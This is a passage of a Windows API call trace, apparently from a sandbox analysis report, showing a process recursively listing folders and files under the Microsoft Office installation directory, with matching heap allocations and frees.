ftLastAccessTime.dwLowDateTime=0xfbd2face, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbd2face, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4e28 [0236.021] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfbd2face, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbd2face, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbd2face, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0236.021] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfbd2face, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbd2face, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbd2face, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="11.0.0.0__89845DCD8080CC91", cAlternateFileName="1100~1.0__")) returned 1 [0236.021] GetProcessHeap () returned 0xc10000 [0236.021] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0236.021] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\assembly\\GAC_MSIL\\Microsoft.AnalysisServices.SPClient.Interfaces\\11.0.0.0__89845DCD8080CC91\\*", lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfbd2face, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbd2face, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbd2face, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48a8 [0236.021] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfbd2face, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbd2face, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbd2face, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0236.021] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfbd2face, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbd2face, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbd2face, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x78c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.SPClient.Interfaces.DLL", cAlternateFileName="MICROS~1.DLL")) returned 1 [0236.022] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfbd2face, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbd2face, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbd2face, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x78c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.SPClient.Interfaces.DLL", cAlternateFileName="MICROS~1.DLL")) returned 0 [0236.022] FindClose (in: hFindFile=0x33e48a8 | out: hFindFile=0x33e48a8) returned 1 [0236.022] GetProcessHeap () returned 0xc10000 [0236.022] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0236.022] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfbd2face, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbd2face, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbd2face, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="11.0.0.0__89845DCD8080CC91", cAlternateFileName="1100~1.0__")) returned 0 [0236.022] FindClose (in: hFindFile=0x33e4e28 | out: hFindFile=0x33e4e28) returned 1 [0236.022] GetProcessHeap () returned 0xc10000 [0236.022] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0236.022] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x22a9f7a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x22a9f7a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x22d01df, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.BusinessData", cAlternateFileName="MICROS~1.BUS")) returned 1 [0236.023] GetProcessHeap () returned 0xc10000 [0236.023] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0236.023] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\assembly\\GAC_MSIL\\Microsoft.BusinessData\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x22a9f7a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x22a9f7a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x22d01df, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49a8 [0236.024] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x22a9f7a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x22a9f7a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x22d01df, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0236.024] GetProcessHeap () returned 0xc10000 [0236.024] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0236.025] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\assembly\\GAC_MSIL\\Microsoft.BusinessData\\16.0.0.0__71E9BCE111E9429C\\*", lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x22d01df, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x22d01df, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x22f6470, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4be8 [0236.026] GetProcessHeap () returned 0xc10000 [0236.026] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0236.026] GetProcessHeap () returned 0xc10000 [0236.027] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0236.027] GetProcessHeap () returned 0xc10000 [0236.027] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0236.027] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\assembly\\GAC_MSIL\\Microsoft.Office.BusinessApplications.Diagnostics\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x863456d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x863456d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x863456d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4828 [0236.029] GetProcessHeap () returned 0xc10000 [0236.029] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0236.029] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\assembly\\GAC_MSIL\\Microsoft.Office.BusinessApplications.Diagnostics\\16.0.0.0__71E9BCE111E9429C\\*", lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x863456d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x863456d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x863456d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4be8 [0236.029] GetProcessHeap () returned 0xc10000 [0236.030] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0236.030] GetProcessHeap () returned 0xc10000 [0236.030] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0236.030] GetProcessHeap () returned 0xc10000 [0236.030] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0236.030] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\assembly\\GAC_MSIL\\Microsoft.Office.BusinessData\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x37869c8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x37869c8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x37869c8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4be8 [0236.031] GetProcessHeap () returned 0xc10000 [0236.031] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0236.031] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\assembly\\GAC_MSIL\\Microsoft.Office.BusinessData\\16.0.0.0__71E9BCE111E9429C\\*", lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x37869c8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x37869c8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x37869c8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ca8 [0236.032] GetProcessHeap () returned 0xc10000 [0236.032] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0236.032] GetProcessHeap () returned 0xc10000 [0236.032] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0236.032] GetProcessHeap () returned 0xc10000 [0236.032] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0236.032] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\assembly\\GAC_MSIL\\Microsoft.Office.BusinessData.Intl\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1d97f24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1d97f24, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1d97f24, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4e28 [0236.033] GetProcessHeap () returned 0xc10000 [0236.033] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0236.033] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\assembly\\GAC_MSIL\\Microsoft.Office.BusinessData.Intl\\16.0.0.0__71E9BCE111E9429C\\*", lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1d97f24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1d97f24, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1d97f24, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49a8 [0236.034] GetProcessHeap () returned 0xc10000 [0236.034] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0236.034] GetProcessHeap () returned 0xc10000 [0236.034] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0236.034] GetProcessHeap () returned 0xc10000 [0236.034] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0236.036] GetProcessHeap () returned 0xc10000 [0236.036] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39628a0 | out: hHeap=0xc10000) returned 1 [0236.036] GetProcessHeap () returned 0xc10000 [0236.036] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39628a0 [0236.036] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\INF\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb32840, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcb32840, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcb32840, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ca8 [0236.037] GetProcessHeap () returned 0xc10000 [0236.037] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39628a0 | out: hHeap=0xc10000) returned 1 [0236.037] GetProcessHeap () returned 0xc10000 [0236.037] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39628a0 [0236.037] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\Installer\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc26abeaf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc369dacd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc369dacd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4be8 [0236.038] GetProcessHeap () returned 0xc10000 [0236.038] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0236.039] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\Installer\\{90160000-000F-0000-1000-0000000FF1CE}\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc26abeaf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc434832e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc434832e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0236.039] GetProcessHeap () returned 0xc10000 [0236.039] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0236.040] GetProcessHeap () returned 0xc10000 [0236.040] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0236.040] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\Installer\\{90160000-001F-0409-1000-0000000FF1CE}\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2f507b2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc2f507b2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc2f507b2, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ca8 [0236.040] GetProcessHeap () returned 0xc10000 [0236.040] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0236.040] GetProcessHeap () returned 0xc10000 [0236.040] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0236.040] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\Installer\\{90160000-001F-040C-1000-0000000FF1CE}\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc369dacd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc369dacd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc369dacd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4a68 [0236.388] GetProcessHeap () returned 0xc10000 [0236.388] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0236.388] GetProcessHeap () returned 0xc10000 [0236.388] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0236.388] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\Installer\\{90160000-001F-0C0A-1000-0000000FF1CE}\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc369dacd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc369dacd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc369dacd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4a28 [0236.389] GetProcessHeap () returned 0xc10000 [0236.389] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0236.390] GetProcessHeap () returned 0xc10000 [0236.390] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0236.390] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\Installer\\{90160000-006E-0409-1000-0000000FF1CE}\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc28c2111, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc28c2111, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc28c2111, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4de8 [0236.390] GetProcessHeap () returned 0xc10000 [0236.390] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0236.390] GetProcessHeap () returned 0xc10000 [0236.390] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39628a0 | out: hHeap=0xc10000) returned 1 [0236.390] GetProcessHeap () returned 0xc10000 [0236.390] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39628a0 [0236.390] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\PCHEALTH\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e24d55a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2e24d55a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e273816, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4828 [0236.391] GetProcessHeap () returned 0xc10000 [0236.391] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0236.391] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\PCHEALTH\\ERRORREP\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e273816, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2e299a0e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e299a0e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0236.392] GetProcessHeap () returned 0xc10000 [0236.392] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0236.536] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\PCHEALTH\\ERRORREP\\QHEADLES\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e299a0e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2e299a0e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e299a0e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4a28 [0236.537] GetProcessHeap () returned 0xc10000 [0236.538] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0236.538] GetProcessHeap () returned 0xc10000 [0236.538] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0236.538] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\PCHEALTH\\ERRORREP\\QSIGNOFF\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e299a0e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2e299a0e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e299a0e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4e68 [0236.538] GetProcessHeap () returned 0xc10000 [0236.538] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0236.538] GetProcessHeap () returned 0xc10000 [0236.538] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0236.538] GetProcessHeap () returned 0xc10000 [0236.538] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39628a0 | out: hHeap=0xc10000) returned 1 [0236.540] GetProcessHeap () returned 0xc10000 [0236.540] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39628a0 [0236.541] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\SHELLNEW\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2daddbf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3b285e60, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b285e60, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4de8 [0236.541] GetProcessHeap () returned 0xc10000 [0236.541] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39628a0 | out: hHeap=0xc10000) returned 1 [0236.541] GetProcessHeap () returned 0xc10000 [0236.541] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0236.542] GetProcessHeap () returned 0xc10000 [0236.542] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x38f0050 | out: hHeap=0xc10000) returned 1 [0236.543] GetProcessHeap () returned 0xc10000 [0236.543] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33e8fc8 | out: hHeap=0xc10000) 